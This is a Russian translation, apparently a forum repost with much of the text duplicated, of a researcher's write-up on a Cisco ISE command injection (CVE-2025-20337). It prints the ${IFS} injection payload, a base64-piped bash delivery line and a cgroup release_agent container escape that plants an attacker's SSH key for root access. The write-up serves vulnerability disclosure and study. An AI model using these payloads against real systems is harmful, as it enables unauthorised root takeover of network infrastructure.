АВТОР СТАТЬИ: Ruben Enkaoua
Ссылка на оригинал:
Эксплуатировать её оказалось не так просто, как я сначала думал, но в итоге было гораздо веселее, чем обычная, скучная инъекция команд. В этом блоге я расскажу, как удалось получить root shell на уязвимых установках Cisco ISE, включая побег из Docker-контейнера, где эта инъекция и выполнялась!
Об этом подробнее позже, а пока давайте глянем на саму уязвимость.
Вот метод enableStrongSwanTunnel, который тащит за собой две уязвимости – одна из них это та самая, о которой ZDI получил репорт, а вторая — та, про которую я буду рассказывать в этом блоге. Интересный момент: Cisco не согласилась и сначала присвоила одному CVE обе уязвимости. Правильный был такой ход или нет? Судите сами.
На [1] и [2] выше видна та самая небезопасная десериализация, о которой изначально сообщили.
А вот на [3] интересно: если атакующий передаст валидный сериализованный массив строк Java, эти значения прямо идут на вызов shell-скрипта.
И это ещё не всё — функция invokeStrongSwanShellScript таила в себе ещё одну интересную «фишку»:
Команда sudo на [4] была ещё круче. Не только потому, что это выглядело как идеальная дыра для инъекции команд, но и потому, что код выполнялся с правами root.
Вызов logger.debug на [5] казался полезным, поэтому после того, как я перенастроил log4j на вывод debug-логов, я начал с тестовых входных данных. Короткое пояснение:
Каждый лог ниже получался после отдельного POST-запроса на /deployment-rpc/enableStrongSwanTunnel. Тело запроса — это строковое представление сериализованного массива Java String[], где первый элемент массива содержал инъекцию команды.
Пример такого массива, который в логах выглядел как configureStrongSwan.sh enable x; touch /flag после сериализации и отправки на эндпоинт:
Для краткости в остальной части блога я буду показывать только команды, которые реально выполнялись через bash с exec(). На практике вектором запуска каждой из них был уязвимый эндпоинт enableStrongSwanTunnel.
А теперь вернёмся к этим тестовым входным данным:
Логи выглядят отлично — видно, что мы реально можем контролировать значение второго конкатенируемого параметра на [4] выше.
Но, как показывает последующий вызов ls, всё оказалось не так просто. Поскольку exec вызывает bash-скрипт на диске и передаёт наш контролируемый параметр как аргумент, просто «сломать» вызов exec и выполнить свой код не получится.
Вместо этого нужно заглянуть в configureStrongSwan.sh, чтобы понять, как этот параметр используется внутри скрипта.
На [1] мы вызываем функцию enableStrongSwan, когда используется операция enable, указанная выше на [3]. Здесь OPERATION равен enable, а IKE_ID — это наш контролируемый атакой payload.
На [2] видно, что IKE_ID используется в функции только один раз — как параметр для другой функции verifyIpsecConnectionStatus.
На [3] и [4] мы используем наш payload для построения команды swanctl. Аргумент $1 на [3] соответствует параметру IKE_ID.
И, наконец, на [5] обратите внимание: эта команда выполняется внутри Docker-контейнера strongswan-container. Это была ещё одна часть головоломки — возможно, код реально исполняется внутри контейнера. Давайте посмотрим поближе:
Пока без результата, но уже шаг ближе!
Важно заметить: уязвимый параметр IKE_ID берётся из аргумента скрипта, который хранится в переменной $2. Рассмотрим пример из первых тестовых данных:
Здесь $2 просто равен x;. Не так страшно, как мы надеялись. Дополнительные аргументы $3 и $4 содержат touch и /flag.txt, но скрипт их не использует.
Даже если использовать кавычки или обратные апострофы, чтобы bash не разбивал payload, на диске ничего не происходит. Почему? Значение $2 в примере объясняет всё:
Интересно, что аргумент $2, который используется как IKE_ID в configureStrongSwan.sh, на самом деле равен "x;. Странно, ведь обычно при передаче аргументов в bash-скрипт кавычки сохраняют их целиком. Однако Java обрабатывает эту команду иначе, чем bash сделал бы это напрямую.
Чтобы правильно собрать финальный эксплойт, сначала нужно понять, как работает метод exec в Java. Cisco ISE использует Java 8, так что давайте посмотрим на код OpenJDK для этой версии:
На [5] мы видим, что когда строковая команда передаётся в exec(), Java разбивает её на токены с помощью класса StringTokenizer.
Подробнее про StringTokenizer в Java 8 можно почитать [здесь]. Для целей этого блога сразу к сути:
По умолчанию StringTokenizer не учитывает кавычки или обратные апострофы. Он просто делит строку по указанным токенам (по умолчанию \t\n\r\f, которые использует метод exec). Вот почему значение IKE_ID из тестовых данных оказалось просто "x; при попытке использовать кавычки. К тому времени, как bash получил наш ввод, он уже был токенизирован и воспринимался не как один аргумент.
К счастью для нас, в Bash есть специальная переменная Internal Field Separator (${IFS}). Она позволяет интерпретировать строки по определённым разделителям.
Для этого эксплойта использование простое: атакующий может заменить все пробелы на ${IFS}, и Bash будет воспринимать всё как задумано. Примеры ниже с точки зрения Bash работают одинаково.
С версией с ${IFS}, Java теперь воспринимает весь payload как один токен, сохраняя целостность команды.
Более того, exec теперь работает нам на руку — даже кавычки добавлять не нужно. Java токенизирует ввод и передаёт его в bash как один аргумент.
Теперь можно запускать payload с использованием переменной ${IFS}, и… вуаля!
Наконец-то удалось выполнить код! Хотя это ещё не совсем то, что мне нужно — код выполняется в контексте Docker-контейнера strongswan-container, а я на самом деле хотел получить полноценный root shell на хосте ISE-сервера.
С хост-машины видно, что контейнер strongswan-container запущен с привилегиями.
Это настоящий подарок от Cisco. Поскольку контейнер запущен с привилегиями, мы можем использовать технику «User-Mode Helpers», описанную в докладе [PDF] Брандона Эдвардса и Ника Фримена на Black Hat USA 2019.
Я суммировал детали, относящиеся к конкретной конфигурации этого контейнера. Более общую информацию можно найти здесь. Финальный payload выглядел так:
На [1] монтируется Linux cgroup.
На [2] указывается скрипт simulate.sh, который будет выполнен, когда cgroup опустеет.
На [3] создаётся и настраивается simulate.sh. В моём случае я выбрал команду для добавления SSH-публичного ключа в файл /root/.ssh/authorized_keys на ISE-сервере.
На [4] cgroup очищается. Это вызывает выполнение simulate.sh на хосте ISE-сервера с правами root.
Эта техника работает отлично, но всё ещё есть проблема с пробелами. Вместо того чтобы повсюду использовать ${IFS}, я решил закодировать скрипт выхода из контейнера в base64. Тогда payload, отправляемый на уязвимую точку, мог включать команду base64 -d для декодирования скрипта и передачу его в bash:
В итоге финальный злонамеренный запрос выглядел так:
И, наконец, root shell получен!
Эксплуатация этой уязвимости была очень увлекательной и показала несколько полезных техник, которые могут пригодиться даже для относительно простой категории багов вроде command injection.
Вкратце: атакующий может использовать совокупность ошибок в Cisco Identity Services Engine, чтобы получить полный контроль над системой с правами root.
Используя переменную ${IFS} в bash, мы обошли ограничение Java exec, которое мешало использовать пробелы. Кроме того, хотя изначальная командная инъекция выполнялась внутри Docker-контейнера, нам удалось выйти из песочницы и выполнить код на хосте, потому что Cisco настроила контейнер в привилегированном режиме.
И, наконец, для тех, кто следит за ходом событий: два бага, которые Cisco сочла дубликатами? Они были исправлены двумя разными изменениями в коде. Определение «дубликата» снова оставлено на усмотрение читателя.
Ссылка на оригинал:
Не удалось прогрузить медиа
Zero Day Initiative — CVE-2025-20281: Cisco ISE API Unauthenticated Remote Code Execution Vulnerability
On January 25th, 2025, the Trend Zero Day Initiative (ZDI) received a report from Kentaro Kawane of GMO Cybersecurity by Ierae regarding a deserialization of untrusted data vulnerability in Cisco Identity Services Engine (ISE). This pre-authentication vulnerability existed in the enableStrongSwanTun
Не удалось прогрузить медиа
www.zerodayinitiative.com
Переведено для LIMB.cc
25 января 2025 года Trend Zero Day Initiative (ZDI) получил репорт от Кентаро Каване из GMO Cybersecurity by Ierae о уязвимости в Cisco Identity Services Engine (ISE), связанной с десериализацией недоверенных данных. Эта уязвимость работала до авторизации и была в методе enableStrongSwanTunnel класса DescriptionRegistrationListener. Пока я ковырялся в этой дыре, заметил, что та же функция позволяла инжектить команды с правами root. Изначально Cisco закрыла это как CVE-2025-20281 (ZDI-25-609), но потом выкатили CVE-2025-20337 (ZDI-25-607), чтобы полностью заклеить дыру. Ниже поймёте, почему.Эксплуатировать её оказалось не так просто, как я сначала думал, но в итоге было гораздо веселее, чем обычная, скучная инъекция команд. В этом блоге я расскажу, как удалось получить root shell на уязвимых установках Cisco ISE, включая побег из Docker-контейнера, где эта инъекция и выполнялась!
Об этом подробнее позже, а пока давайте глянем на саму уязвимость.
Пробиваем инъекцию команд
Вот метод enableStrongSwanTunnel, который тащит за собой две уязвимости – одна из них это та самая, о которой ZDI получил репорт, а вторая — та, про которую я буду рассказывать в этом блоге. Интересный момент: Cisco не согласилась и сначала присвоила одному CVE обе уязвимости. Правильный был такой ход или нет? Судите сами.
Java:
private void enableStrongSwanTunnel(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
logger.debug("Handling enableStrongSwanTunnel request ..");
try {
logger.debug("Enable Native IPSec Tunnel is triggered.");
ObjectInputStream var3 = new ObjectInputStream(var1.getInputStream()); // [1]
String[] var4 = (String[])var3.readObject(); // [2]
...
Process var7 = this.invokeStrongSwanShellScript(var5, var6, "enable ", var4); // [3]
...
}
}
На [1] и [2] выше видна та самая небезопасная десериализация, о которой изначально сообщили.
А вот на [3] интересно: если атакующий передаст валидный сериализованный массив строк Java, эти значения прямо идут на вызов shell-скрипта.
И это ещё не всё — функция invokeStrongSwanShellScript таила в себе ещё одну интересную «фишку»:
Java:
private Process invokeStrongSwanShellScript(File var1, File var2, String var3, String[] var4) throws IOException, InterruptedException {
...
String var5 = "/usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh ".concat(var3).concat(var4[0]); // [4]
logger.debug("Command is :: {}", var5); // [5]
Process var6 = Runtime.getRuntime().exec(var5); // [6]
...
}
Команда sudo на [4] была ещё круче. Не только потому, что это выглядело как идеальная дыра для инъекции команд, но и потому, что код выполнялся с правами root.
Вызов logger.debug на [5] казался полезным, поэтому после того, как я перенастроил log4j на вывод debug-логов, я начал с тестовых входных данных. Короткое пояснение:
Каждый лог ниже получался после отдельного POST-запроса на /deployment-rpc/enableStrongSwanTunnel. Тело запроса — это строковое представление сериализованного массива Java String[], где первый элемент массива содержал инъекцию команды.
Пример такого массива, который в логах выглядел как configureStrongSwan.sh enable x; touch /flag после сериализации и отправки на эндпоинт:
Java:
String[] arr = {"x; touch /flag", ""};
Для краткости в остальной части блога я буду показывать только команды, которые реально выполнялись через bash с exec(). На практике вектором запуска каждой из них был уязвимый эндпоинт enableStrongSwanTunnel.
А теперь вернёмся к этим тестовым входным данным:
Bash:
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable x; touch /flag
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable "x; touch /flag"
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable `x; touch /flag`
... // Many attempts later
# ls /flag
ls: cannot access '/flag': No such file or directory
Логи выглядят отлично — видно, что мы реально можем контролировать значение второго конкатенируемого параметра на [4] выше.
Но, как показывает последующий вызов ls, всё оказалось не так просто. Поскольку exec вызывает bash-скрипт на диске и передаёт наш контролируемый параметр как аргумент, просто «сломать» вызов exec и выполнить свой код не получится.
Вместо этого нужно заглянуть в configureStrongSwan.sh, чтобы понять, как этот параметр используется внутри скрипта.
Bash:
OPERATION=$1
IKE_ID="$2"
...
elif [ "$OPERATION" == "enable" ]; then
enableStrongSwan "$IKE_ID" # [1]
fi
enableStrongSwan(){
...
retval=$(verifyIpsecConnectionStatus "$1") # [2]
...
}
verifyIpsecConnectionStatus(){
cmd="swanctl -l --ike "
arg="$1" # [3]
statusCmd="${cmd}${arg}" # [4]
retval=$(docker exec strongswan-container /bin/bash -c "$statusCmd") # [5]
...
}
На [1] мы вызываем функцию enableStrongSwan, когда используется операция enable, указанная выше на [3]. Здесь OPERATION равен enable, а IKE_ID — это наш контролируемый атакой payload.
На [2] видно, что IKE_ID используется в функции только один раз — как параметр для другой функции verifyIpsecConnectionStatus.
На [3] и [4] мы используем наш payload для построения команды swanctl. Аргумент $1 на [3] соответствует параметру IKE_ID.
И, наконец, на [5] обратите внимание: эта команда выполняется внутри Docker-контейнера strongswan-container. Это была ещё одна часть головоломки — возможно, код реально исполняется внутри контейнера. Давайте посмотрим поближе:
Bash:
# docker exec -it strongswan-container ls /flag
ls: cannot access '/flag': No such file or directory
Пока без результата, но уже шаг ближе!
Важно заметить: уязвимый параметр IKE_ID берётся из аргумента скрипта, который хранится в переменной $2. Рассмотрим пример из первых тестовых данных:
Bash:
configureStrongSwan.sh enable x; touch /flag
Здесь $2 просто равен x;. Не так страшно, как мы надеялись. Дополнительные аргументы $3 и $4 содержат touch и /flag.txt, но скрипт их не использует.
Даже если использовать кавычки или обратные апострофы, чтобы bash не разбивал payload, на диске ничего не происходит. Почему? Значение $2 в примере объясняет всё:
Bash:
configureStrongSwan.sh enable "x; touch /flag"
Интересно, что аргумент $2, который используется как IKE_ID в configureStrongSwan.sh, на самом деле равен "x;. Странно, ведь обычно при передаче аргументов в bash-скрипт кавычки сохраняют их целиком. Однако Java обрабатывает эту команду иначе, чем bash сделал бы это напрямую.
Токенизация в вызовах exec() в Java
Чтобы правильно собрать финальный эксплойт, сначала нужно понять, как работает метод exec в Java. Cisco ISE использует Java 8, так что давайте посмотрим на код OpenJDK для этой версии:
Java:
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command); // [5]
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
На [5] мы видим, что когда строковая команда передаётся в exec(), Java разбивает её на токены с помощью класса StringTokenizer.
Подробнее про StringTokenizer в Java 8 можно почитать [здесь]. Для целей этого блога сразу к сути:
По умолчанию StringTokenizer не учитывает кавычки или обратные апострофы. Он просто делит строку по указанным токенам (по умолчанию \t\n\r\f, которые использует метод exec). Вот почему значение IKE_ID из тестовых данных оказалось просто "x; при попытке использовать кавычки. К тому времени, как bash получил наш ввод, он уже был токенизирован и воспринимался не как один аргумент.
К счастью для нас, в Bash есть специальная переменная Internal Field Separator (${IFS}). Она позволяет интерпретировать строки по определённым разделителям.
Для этого эксплойта использование простое: атакующий может заменить все пробелы на ${IFS}, и Bash будет воспринимать всё как задумано. Примеры ниже с точки зрения Bash работают одинаково.
Bash:
configureStrongSwan.sh enable x; touch /flag
configureStrongSwan.sh enable x;${IFS}touch${IFS}/flag
С версией с ${IFS}, Java теперь воспринимает весь payload как один токен, сохраняя целостность команды.
Более того, exec теперь работает нам на руку — даже кавычки добавлять не нужно. Java токенизирует ввод и передаёт его в bash как один аргумент.
Теперь можно запускать payload с использованием переменной ${IFS}, и… вуаля!
Bash:
# docker exec -it strongswan-container ls /flag
/flag
Наконец-то удалось выполнить код! Хотя это ещё не совсем то, что мне нужно — код выполняется в контексте Docker-контейнера strongswan-container, а я на самом деле хотел получить полноценный root shell на хосте ISE-сервера.
Выход из контейнера
С хост-машины видно, что контейнер strongswan-container запущен с привилегиями.
Bash:
$ docker inspect --format='{{.HostConfig.Privileged}}' strongswan-container
true
Это настоящий подарок от Cisco. Поскольку контейнер запущен с привилегиями, мы можем использовать технику «User-Mode Helpers», описанную в докладе [PDF] Брандона Эдвардса и Ника Фримена на Black Hat USA 2019.
Я суммировал детали, относящиеся к конкретной конфигурации этого контейнера. Более общую информацию можно найти здесь. Финальный payload выглядел так:
Bash:
mkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc // [1]
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_release
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
pop="$overlay/simulate.sh"
echo $pop > /tmp/esc/release_agent // [2]
echo \#\!/bin/bash > simulate.sh ; echo "mkdir /root/.ssh" >> simulate.sh ; echo "echo 'ssh-rsa [public key here] attacker' > /root/.ssh/authorized_keys" >> simulate.sh; chmod +x simulate.sh // [3]
echo "0" | tee /tmp/esc/w/cgroup.procs // [4]
На [1] монтируется Linux cgroup.
На [2] указывается скрипт simulate.sh, который будет выполнен, когда cgroup опустеет.
На [3] создаётся и настраивается simulate.sh. В моём случае я выбрал команду для добавления SSH-публичного ключа в файл /root/.ssh/authorized_keys на ISE-сервере.
На [4] cgroup очищается. Это вызывает выполнение simulate.sh на хосте ISE-сервера с правами root.
Собираем всё вместе
Эта техника работает отлично, но всё ещё есть проблема с пробелами. Вместо того чтобы повсюду использовать ${IFS}, я решил закодировать скрипт выхода из контейнера в base64. Тогда payload, отправляемый на уязвимую точку, мог включать команду base64 -d для декодирования скрипта и передачу его в bash:
Bash:
echo${IFS}[base64-encoded-escape-script]${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash
В итоге финальный злонамеренный запрос выглядел так:
Не удалось прогрузить медиа
И, наконец, root shell получен!
Bash:
$ ssh -i attacker_id_rsa [email protected]
[root@cisco-ise ~]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
Вывод
Эксплуатация этой уязвимости была очень увлекательной и показала несколько полезных техник, которые могут пригодиться даже для относительно простой категории багов вроде command injection.
Вкратце: атакующий может использовать совокупность ошибок в Cisco Identity Services Engine, чтобы получить полный контроль над системой с правами root.
Используя переменную ${IFS} в bash, мы обошли ограничение Java exec, которое мешало использовать пробелы. Кроме того, хотя изначальная командная инъекция выполнялась внутри Docker-контейнера, нам удалось выйти из песочницы и выполнить код на хосте, потому что Cisco настроила контейнер в привилегированном режиме.
И, наконец, для тех, кто следит за ходом событий: два бага, которые Cisco сочла дубликатами? Они были исправлены двумя разными изменениями в коде. Определение «дубликата» снова оставлено на усмотрение читателя.
Переведено для LIMB.cc
👍14
❤️2
😁2
😮1
LIMB